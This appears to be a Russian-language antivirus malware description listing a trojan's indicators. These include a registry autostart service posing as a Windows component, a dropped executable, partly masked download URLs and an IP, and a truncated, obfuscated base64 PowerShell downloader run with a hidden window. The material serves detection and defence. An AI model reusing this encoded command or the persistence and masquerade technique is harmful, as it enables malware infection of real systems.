Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\MCEWMDRMNDBootstrap] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\MCEWMDRMNDBootstrap] 'ImagePath' = '"%WINDIR%\SysWOW64\XpsGdiConverter\MCEWMDRMNDBootstrap.exe"'
- 'MCEWMDRMNDBootstrap' "%WINDIR%\SysWOW64\XpsGdiConverter\MCEWMDRMNDBootstrap.exe"
- 'MCEWMDRMNDBootstrap' %WINDIR%\SysWOW64\XpsGdiConverter\MCEWMDRMNDBootstrap.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABXAEkAUQBPAFAAaQB5AHYAPQAnAFYARABTAEoASwBqAG8AZgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBDAHUAcgBJAFQAYABZAGAAcAByAG8AdABgAG8AQwBgAG8AbAAiAC...
- %HOMEPATH%\684.exe
- %HOMEPATH%\684.exe
- %HOMEPATH%\684.exe в %WINDIR%\syswow64\xpsgdiconverter\mcewmdrmndbootstrap.exe
- %HOMEPATH%\684.exe
- '47.##6.117.214':80
- http://am###tas.com/public/iu1c_vtucu_ruec/
- http://am###tas.com/cgi-sys/suspendedpage.cgi
- http://www.co###fina.com/wp-content/xrmq_7ug_ttv/
- http://we###pbr.com/wp-admin/ha_s5_3wf/
- http://47.##6.117.214/f6f3dyhYE6mGd/3FV1W1OCL8er/oIfqydCzx/47O3b7jzMV/
- DNS ASK am###tas.com
- DNS ASK co###fina.com
- DNS ASK we###pbr.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABXAEkAUQBPAFAAaQB5AHYAPQAnAFYARABTAEoASwBqAG8AZgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAAZQBDAHUAcgBJAFQAYABZAGAAcAByAG8AdABgAG8AQwBgAG8AbAAiAC...' (со скрытым окном)